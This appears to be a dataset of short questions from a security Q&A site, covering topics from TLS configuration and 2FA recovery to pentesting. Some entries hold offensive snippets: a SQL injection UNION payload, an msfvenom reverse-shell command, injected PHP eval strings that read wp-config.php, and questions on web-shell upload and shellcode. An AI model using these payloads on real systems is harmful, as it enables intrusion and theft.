instruction
stringlengths
24
29.9k
I am currently developing an API for my front-end React application. All my routes (besides the two I'll mention below) are secure by the use of JWTs. They get generated once a user logs in and is then used for the remainder of the session. The app to API connection will be over HTTPS so it should hinder MiTM attacks. ...
Consider the procedure below. What are your counterarguments, related to both security and user experience? This is a follow up on my previous question on the same topic. Step one: An employee submits an e-mail to coworkers (non-internal roles are also covered): Step two: The e-mail server intercepts all incoming mail...
Running this command resulted with the list of ciphers which supports rc4: /usr/bin/openssl ciphers -v | grep -i "rc4" What's the easiest way and how to remove specifically ciphers that supports rc4 that I need to execute or where is the configuration file in need to edit on Linux machines? What's the way to reverse t...
I have access to MySQL database which the current user has FILE privilege. I want to upload a web shell but I do not know the root directory of the web server. Is it possible to somehow locate the root directory using a SQL query?
My problem is that I'm trying to crack RAR file with is encrypted with RAR3 encryption. Decided to try with John The Ripper. Here are clues I have from my friend. Max password length is 8 Only capital letters or digits And I need now filter to make John crack the password without trying to check small lowercase lette...
If I use an insecure router as an entry point of a VPN, does this effectively bypass all of the privacy benefits of using a VPN?
I like to be able to run some commands installed via Homebrew without typing my sudo password. The problem is that Homebrew installs everything with user permissions, so if I add the executables to sudo's NOPASSWD list (via user ALL = (ALL) NOPASSWD: ...), these files can be replaced and so any arbitrary program can ru...
Suppose an extension has a scary list of permissions like that below ("Site access: On all sites"): Does this also give the extension permission to send my data to the author's servers via XHR? I've read the documentation here but lack some background knowledge, so I am not sure in my interpretation: Cross-Origin XMLH...
What checks should I perform to ensure my router is malware free? This is for a home network
Meterpreter session was created, framework latest. Victim machine: Ubuntu Screenshot of session: I am pretty sure the commands used to work before on the same machine. Shell commands are not working after giving shell in meterpreter. All meterpreter command works fine though. Uploaded payload manually, same issue. Res...
I did a vulnerability scan on some of our company workstations. These are workstations used by employees (dev, HR, accounting, etc.) to do their job. One of the common result I found is SSL/TLS Certificate Signed Using Weak Hashing Algorithm. Based on the vulnerability description "An attacker can exploit this to gener...
In the installation procedure of Gentoo, there is a step to check signature of the downloaded iso file. To do so, we first need to download the set of keys from a key server: $ gpg --keyserver hkps://hkps.pool.sks-keyservers.net --recv-keys 0xBB572E0E2D182910 However, when I first run this command, I got the following...
I stumbled upon a web app which is accepting user input and putting it into a variable within script tag. The script tag does have a nonce attribute. As am working on bypassing the XSS filter, I had this thought that this practice of reflecting user input within an inline script with nonce attribute beats the purpose ...
Would it be secure to: Store all my website cookies (stack sites, webhost, github, web-based email, etc) on a remote server (using an customized open-source VPN or something) Login to the server with password + 2fa (and maybe have a trusted devices list?) Keep the cookies only on the server... never actually download ...
Many projects offering binaries, also offer hashes (e.g. SHA256) of those binaries, wither as .ASC files, or directly on the web page near the binary. This isn't to protect against network-caused corruption, as that's ensured by the TCP protocol. Given that the binary and the hash are downloaded from the same server (e...
I am currently doing a pentesting on a web application and focusing more on SQL Injection. This company I am pentesting have a functionality in which we are allowed to buy things from the vendors/suppliers registered there. When a product is added to our cart and 'Checkout' button is clicked, the web application will t...
We are using Jenkins Freestyle Project to push the changes on the remote server. We are executing shell script on remote host using ssh for it. To pull the changes on the remote server, we are using origin url with git username and git password. The credentials should not be visible in plain text in the url that's why ...
This question is related to crackmes.de's k1 by xtfusion. I'm trying to add custom shellcode through stack overflow. The shellcode works perfect under Windows XP (without ASLR) when the program is attached in the debugger. But when I run the program with double click, the program only exits quietly and no message box p...
TL;DR If we encrypt a message with an IV, do we need to store this specific IV somewhere to ensure that we're able to decrypt the message later? There isn't much I know about this. From my understanding, IVs are a way of creating different ciphertext each time the same message is encrypted. The Problem I encrypted a ...
I have a background in web app development and I'm trying to up my security game but there are some things that I find confusing. Like how does memory-hard hashed passwords protect against brute force attacks? Let's assume I have a webapp which hashes passwords with Argon2i. To my understanding it's great because it ta...
Over the weekend I was thinking about the problem of scaling various web services. One common practice to scale authorization is to use cryptographically signed tokens. This way when a request comes into your service you don't need to look up a session ID in a database or perform an expensive hash on an API key or pass...
I'm currently implementing 2FA and ask our users that login with their email/pass to enter their code when 2FA is enabled. This is all good. But I also offer a "I forgot my password" access that sends a one-time login link by email to the user when the email entered matches the account we have. Now, I wonder if it is i...
Does anyone have any suggestions for infosec training for a small company (circa 7 employees). I would be looking for general information security awareness plus specific training for securely working with databases (MySQL specifically). Everything I've looked at is aimed at large organisations and is outside of our bu...
I'm new to the metasploit and in a book it was said that when a reverse shell is used by an attacker, a handler is initiated. I've searched the about it but doesn't found any satisfactory information about the 'Handler'. What is it?
I'm working on a diagram to describe the process of issuing digital certificates, with the help of answers on my question here and some other research: I just read in the IETF that: The signatureValue field contains a digital signature computed upon the ASN.1 DER encoded tbsCertificate. The ASN.1 DER encoded tbsCert...
in the AMP Docs, the following snippet is given: If the Origin header is set: If the origin does not match one of the following values, stop and return an error response: <publisher's domain>.cdn.ampproject.org the publisher's origin (aka yours) where * represents a wildcard match, and not an actual asterisk ( * )....
So, I'm trying to do a SQL injection in a ctf application that removes all whitespace in form parameters, so I can't use it. To perform my query I used /**/ to insert whitespace and I could perform many queries using something like: 1'/**/UNION/**/SELECT/**/column/**/FROM/**/table;-- I'm injecting SQL in a SELECT query...
I noticed this where it used to say something about the search engine. I noticed it when searching for "google". Has Google been compromised or something? I am not going to click this link to see what it is.
Can my IP address ever be included in the header of emails I send? Or do email servers never include my IP address in my emails' headers?
When I read Multi VERB Single Request: This Attack is also a variation of the Excessive Verb Attack strategy. The attacking BOT creates multiple HTTP requests, not by issuing them one after another during a single HTTP session, but by forming a single packet embedded with multiple requests. How to understand the a si...
I am at the moment using Bitwarden and a separate 2FA app. I am trying to figure out a way to be able to securely recover my access to credentials and 2FA in case my phone/laptop/other electronic devices get stolen or destroyed and am not sure if what I am doing is good enough. The app I am using for 2FA allows for enc...
I'm not sure if this is the right place to ask. My goal is to establish an external connection to my home server through ssh and tunnel some ports to the laptop. For this reason, I've exposed the SSH port through my router (random 5-digit port instead of 22), and set the following config: Private key connections only ...
I wanted to know if it was a bad thing to have a _csrf token stored in a url. I saw that in a POST request that allows me to upload a file, the _csrf token was displayed in the url. Is it sensitive to store this token in a url. Is there a way to exploit this vulnerability ? Thank you for your answers.
I want to perform a Man-in-the-Middle attack against my own network for educational purposes. I want the following scenario: Perform a MITM attack with Bettercap, navigate to a website and accept the certificate warning,which means accept the certificate presented by Bettercap (the attacker). Question 1: I want to know...
I was just wondering out of interest. What happens if your captcha keys get compromised. What can they be used for and how can you detect that they have been compromised.
I'm trying to exploit webdav by uploading a msfvenom generated php script to the target webdav server on windows xp machine using the default credentials - wampp(username), xampp(password). The command for generating the payload is: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.7 LPORT=123 -f raw > meta.php N...
There are two different web applications Host and App which are hosted separatedly, i.e. in particular on different domains. App is not designed to be accessed directly. Rather users are expected to visit Host which embeds App as an IFrame. While App is fully trusted, Host is more likely to get compromised, and shouldn...
I'm working on an app where some accounts use passwordless authentication by email (using magic links) and some require a password to login. Is it okay to represent this rule in the account table by having a nullable password_digest? Would the application be more vulnerable to attack if and attacker knew which users ha...
What malware was the first to use a client-server architecture to relay commands? The earliest that I could find appears to be NetBus which was written in early 1998. The next closest would be Back Orifice, which was written in August 1998. However, these two pieces of malware were very popular, so I'm curious if there...
Context NIST SP 800-63b gives the following guidance for password forms (aka login pages): Verifiers SHOULD permit claimants to use “paste” functionality when entering a memorized secret. This facilitates the use of password managers, which are widely used and in many cases increase the likelihood that users will choo...
Is there any chance of my local PC getting infected when I analyse PCAP malware file on a cloud server through putty? I want to run pcap malware to test snort in my cloud server. I want to know on doing so if it will affect my local machine.
Is it possible that a StackOverflow account can be hacked without the owner knowing? If a StackOverflow account is hacked, is any other information (like social media passwords) exposed other than StackOverflow information?
From PHP Session Management basics: Proper use of session.use_only_cookies and session_regenerate_id() can cause personal DoS with undeletable cookies set by attackers. In this case, developers may invite users to remove cookies and advise them they may be affected by a security issue. Attackers may set malicious cook...
I see that many relational database systems offer asymmetric (private/public key) cryptography functions. For example, PostgreSQL offers the pgcrypto module, which supports OpenPGP (RFC 4880) encryption. Given that access to an RDBMS and a specific database is typically protected and restricted, I cannot see the useful...
I am familiar with MITM LAN attacks using dnsspoof and arpspoof to read client data. Instead of spoofing the DNS and impersonating the router on my physical machine, I want to set up a MITM LAN attack through the router by changing the DNS and port forward rules. My goal is to decrypt all HTTP, HTTPS, and SSL traffic ...
Four days ago my PC got phobos ransomware. I didn’t notice until three days ago, and the reason is that the attack stopped midway, leaving some of my data as it is and not leaving behind any ransom note or something like that. Now, when I noticed the attack, I panicked so much, that I did two stupid mistakes. First, I ...
I'm using Google Chrome developer tools. Let's say I'm performing a bug bounty activity. I found an obfuscated JS. I know user data goes into this JS and goes out encrypted. I found a few files called cryptoJS.js, aes-json-format.js, etc... Now what I'm asking is how it would be possible to follow step by step all Java...
I am trying to recover a 7z file, but have forgotten the password. It's completely AES-256 encrypted (i.e. not even the filenames are available). Steps: Generated hash file with 7z2hashcat.pl Ran a mask attack using hashcat -a 3 -m 11600 my.hash masks\rockyou-7-2592000.hcmask After ~55 hours, hashcat completed with st...
A friend of mine, let's call her Alice, had an Instagram account that was hacked. She uses an iPhone. The scenario looks like this: Alice gets a link from a Business Account via WhatsApp, and clicks it The page was simulating the Instagram login page, and she entered the credentials and submitted the form. The provide...
I am aware of other questions asking similar things as this one, but I believe this design addresses many of the issues raised in those questions. I'm also not concerned with making sure there's no database to store, only that the database doesn't store any secrets. Using some key derivation function KDF With master pa...
We have fully configured SPF, DKIM and DMARC policies (100% reject) for our email domain (e.g. spoofed.com), which is managed by gmail, but we have recently started seeing spear phishing emails with the following format (our email addresses/names have been sanitised): From: Bob Smith Bob@spoofed.com <admin@inter-corp.n...
I am currently playing around with Mifare Classic 1k. And everything I have read about it's security is true. So it's not exactly the best thing to use to avoid cloning. But I was wondering if someone manages to hack one of these cards following online tutorial could we stop them from knowing what's on the card itself?...
I'm trying to exploit the following code with a buffer overflow to get a shell: int main() { char str[64] gets(str); return(0); } The platform is Ubuntu 64 bit, arch i686. The program is segfaulting on the 76th byte. Next four bytes are the return address. But when i implement a x86_64 execveat("/bin//sh...
So, yesterday I needed to sign & scan some forms for my bank, a credit union. Nothing hugely confidential, except it has some account numbers on it. But still, I was a bit concerned, so the exchange, with my fairly senior advisor, whom I would not suspect to be IT savvy besides showing Powerpoints, went like this: w...
I was testing a site and came across a request with DELETE and I found X-CSRF: parameter was sent to ensure the doc can be deleted by a authorized person but when I removed the entire X-CSRF token and sent a empty parameter, it was accepted and the Doc got deleted. Is there any possibilities for a exploit ? Thanks in ...
For the second time my website seems to be the target of a large automated attack. It seems complex enough and very well executed. I have the following systems in place: Captcha on 3rd failed login from IP Account lock for 30 min after 5 failed login attempts (using same email) Minimum password requirements (8 chrs, l...
On nodejs-express, I need a file upload function for my website's bulletin board so that every user can upload and download files for each other. For security reasons, I use npm module 'mmmagic' for validating if uploaded file's mime-type is not modulated (e.g. png) -or is in whitelist which I accepted. And I'm conside...
A few days ago I got an email to our dpo email address from a person I don't know who claims to be a Security Researcher. The email is well written and contains a POC with screenshots of a CORS Exploit (SOP Bypassed). My first reaction is "fishing for jobs". But when looking at the POC it seems he's just making an API ...
The MASVS states in section "V6: Platform Interaction Requirements" MSTG-PLATFORM-11: Verify that the app prevents usage of custom third-party keyboards whenever sensitive data is entered. There are no references for test cases or similar and when I am thinking of Android it seems impossible, to force this behaviour....
In a Telegram public channel, all messages are public, send by the channel creators and contain a timestamp. Suppose I am an ISP. Can I analyse the traffic of all my clients and decide if they are sending a Telegram message? (assume they don't use Tor or VPN) If so, I can look at the timestamp of all messages ever publ...
I have multiple devices connected to a router, including my phone. The router has no internet; therefore, the network only works locally. All nodes can talk with each other thanks to the router. I use my phone to send messages to the nodes. If no one has access to the WiFi password will it be possible for someone to sn...
I have an odd case where a vulnerability scan is reporting that sshd is vulnerable because of TLS. I didn't think SSH used TLS, so can someone help me explain why "openssl s_client -connect hostname:22 -tls1" shows SSH is accepting TLS connections? For example: $ openssl s_client -connect myhost:22 -tls1 CONNECTED(000...
I've tried googling but can't find a satisfactory answer. Probably looking up the wrong search terms... I see questions on here and other forums that state they have a sophisticated attacker utilizing 50k, even 100k+ IP addresses to brute force logins, look for email matches, even DDOS. I'm familiar with botnets, and I...
the most bizarre thing happened, someone fount out the smtp mail driver credentials from a Laravel project, which are stored in the .env. The credentials are used for a contact form. The .env was in production and the debug was set to false APP_DEBUG=false. The location of the .env was never changed so it is not a pub...
When I install this plugin and activate in wordpress, hide_my_wp put some eval codes in wp_options and I see the following code being injected in a new row with the ID called 76624: upload-dir=./../../,z=@eval/**/(${'_P'.'OST'}[z9]/**/(${'_POS'.'T'}[z0]));, #=eval("echo 10000000000-245205634;");, x=../../wp-config.php,...
I am trying to make a rule to alert when downloading a .jpg file less than certain size. I used the parameter dsize:<500. But it is not alerting when I tried to run a .pcap file containing a jpg less than 500MB. Did I use the parameter correctly?
Recently my brother brought a usb from his friends to copy stuff from and ended up infecting my pc in the process. I tried to solve the problem by installing kaspersky and doing a full scan of my computer on both normal mode and safe mode but no result, Kaspersky fails to detect and the virus and says the computer safe...
This question may be silly but I've a hard time understanding TLS 1.2 and accessing a website via HTTPS. I've received a report from a web security tool that my website is not HTTPS and I have to enable TLS 1.2 on the server. As per my understanding to make a website HTTPS I have to add a security certificate to the we...
Having a program vulnerable to stack based buffer overflow with setuid bit set, and want to fill the buffer with ROP gadgets. If setuid(0) is needed to spawn a shell with root privilege, then '0' would be written in the stack, so setuid() can take it as the unique argument. The 0 breaks the sequence we want to write in...
Since data leaks are being more and more common, why companies like Microsoft and Google (but I'm not asking just about them) ask for a previous password if a user try to recover it? Google's password recovery step: Enter the last password that you remember using with this Google Account Why should we change our pass...
Say I have a machine running Windows 10 with built in Device Encryption enabled. Say I want to reinstall Windows and sell the machine. I am wondering: after the format and reinstall, is a new key generated for the Device Encryption? Or in other words, without having access to the original recovery key, is it remotely p...
Just wondering where I can track TLS 1.2, specifically, when will it be deprecated? A link would be appreciated - thanks!
I am doing the PortSwigger labs and came across this one: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-arbitrary-object-injection-in-php The first step of the solution is: From the site map, notice that the website references the file /libs/CustomTemplate.php How does Burpsuite ...
What's the difference between this format: Hash found: admin:$1$$oLN1UCc1Y3T30QkMcKMSx0 and the following: 5f4dcc3b5aa765d61d8327deb882cf99 And also, How to turn the first hash format into the second one? Thanks in advance.
I am learning Ethical Hacking. I create my own website on a cloud hosting service for testing purposes. I run DoS attack from my local VM and it shows that website is down. When I sent a link to my friend he told me that the website runs normally. When I change network and connect to another WiFi it really shows that w...
When I try to find websites hosted on a specific IP using one of the online Reverse IP Lookup tools, I only get one website, but when I use Sub-domain enumeration, I find several websites on the same IP Why does this happen? And how can I find all the websites on a particular IP?
If I'm not mistaken, in webapps there are a lot of potential attack vectors, such as http header spoofing and what not, which are not there in typical rich-client desktop applications, such as WPF applications. To add a bit more motivation to my question, I have the feeling that most security related issues I come acro...
For example, if someone uploads a malicious image on website like Instagram or Facebook, and then hundreds of people viewed this image, wouldn't that be an easy way to infect the devices of hundreds or thousands of people? If so, why do people view tens or hundreds of images without being afraid of getting their device...
Can someone guide me how to write PCRE option to match list of websites such as for eg facebook.com, google.com,ebay.com? I tried to understand from manual but couldn't get is right? regards,
When a user fails to successfully login, what information should be given back to them? Normally, we post back "Account not found" or "Incorrect password" or "Incorrect Location" (for location restrictions). But some articles suggest it should be akin to "Login Failed. Please try again." without elucidating why it fai...
Every time I go check my account's activity I see something very weird and worrying: multiple attempts to log in to my account, anywhere from 1 to 3 daily attempts. This has been going on for years. The list goes on and on, this is only the first page. All attempts are being done through IMAP protocol, and a proxy ch...
I have a table for single use tokens, and one of the columns is a token_digest which contains a bcrypt hash of the access token. Since the token_digest is a salted and hashed version of the plaintext token, I can't just run a select against the computed hash. When my application gets the plaintext token from a client, ...
While reading this question, it got me to thinking. Let's say an attacker has some way to make all of their login attempts appear legitimate - enough IP addresses to never reuse them, different valid browser UA strings on each request matching the spread of browsers usually seen, what have you. Would a strong hashing f...
I am new to Kali Linux and JTR but am playing around trying to crack a PDF file. I set the PDF Password to test so it's a known password on my own file. For whatever reason JTR appears to finish cracking the file but returns (?) What am I doing wrong, is JTR only able to crack document view passwords not document edit ...
I noticed on my router one or two hours ago that there were two new devices connected to it that I did not recognize. In a normal situation I would think that my WiFi password was just compromised, but I noticed that one of the connections was, according to my router, wired i.e. connected to my Ethernet. The wired devi...
I'm working in IOT team to build a web based IOT system. I'm using Dataplicity's Wormhole to host my nodeJS app on raspberry pi. I want to use DHE-RSA symmetric key encryption channel for sending/receiving data from client to server and vice-versa. In case of DHE-RSA server generate DH parameter and then sign them with...
A common scam involves fake technical support tricking the victim into calling them, downloading remote access software, and allowing the scammer access to their computer. Suppose the victim recognises the attack part way through and shuts down their computer. What should they do next? Here's what I guess should be don...
Please concern the following setup: A client certificate is issued like this: Root CA → Intermediate CA → Client Cert Let's assume everything is fine up to here, the intermediate CA cert is properly signed by the root CA and the same for the client cert and the intermediate CA. The following files were produced: root_...
I'm new to gbd. I've wrote a simple program which will print hello world 10 times(I've listed the program in the screenshot). Then I've displayed the assembly language and set the break point to main and after running the program untill main, I've displayed the content of the rip register. Now the confusion is, in th...
Recently I registered iCloud account with my gmail account. Now I received fake email from "iCloud" on mail.com email address which I use frequently for registering accounts on various sites. This email address is also recovery address for the gmail account. Here's the fake email: Also, something similar happened when...
My company is currently evaluating a product which comes with a browser-extension-based password manager. The password manager is peripheral to their core product, but is the only way to use it. We're trying to assess their security — we're not going to be storing super-confidential entries, but we do want to make sure...
The ASUS motherboard in an older PC I own failed. I purchased a replacement from a vendor on eBay, shipped from China (Shenzhen). Only after receiving the motherboard did it occur to me to wonder about the security of the motherboard, and in particular the BIOS installed. Am I being unnecessarily paranoid? My main conc...
Problem I am putting together a proof of concept for the FLUSH + RELOAD attack. The method is outlined in great detail in this paper. The general idea is simple - cached addresses can be accessed with much greater speed than addresses not in the cache. By clearing the cache, running a victim process that accesses certa...
How do you generate a batch file for windows .bat using msfvenom, msfvenom does not seem to have a batch file like format and is it possible to convert a .ps1 to .bat file
I was looking into this code base (https://github.com/vstoykovbg/doubleslow) and the following phrase caught my attention: DANGER of catastrophic data loss! One bit flip (due to cosmic rays for example) can make the result of the hash functions completely different. Run the scripts several times to confirm that they p...
I received an "Undelivered Mail Returned to Sender" email, which is quite suspicious. The message is displayed in Thunderbird like this: From: someRandomStuff my.name@mail.provider Date: 24.08.20, 21:05 To: a list of very random looking email addresses, probably machine generated Is this simply a case of using some...
I use these commands to create a self-signed certificate, subject's key and CSR, and subject's signed certificate: Root CA: openssl req -new -sha256 -x509 -days 7300 -out ca.crt -keyout ca.key.pem -nodes Server CSR: openssl req -new -sha256 -out server.csr -keyout server.key.pem -nodes Sign with CA: openssl ca -cert...
I'm creating this admin dashboard, and I have a question wich I have been stuck on for a while now. And I'm starting to question what kind of data the admin should be able edit/view on the other registered users. Should the admin users be able to: Change the users password? Send password-reset email to the user? Chang...
I have developed my DRF back-end API locally, deployed it on an AWS Lightsail instance (with a public static IP) and I now want to secure it with HTTPS. I understand that in order to use Let's Encrypt (and not pay for an SSL certificate), I have to have a domain name associated to my instance IP since Let's Encrypt doe...
I want to understand the risk in reusing complex password. Unique complex passwords for each and every email account, say 3. All other accounts, bank, medical, social, share a complex password, 1 This makes a total of 4 passwords. LinkedIn account gets hacked, emails and passwords are lifted. How does this affect sec...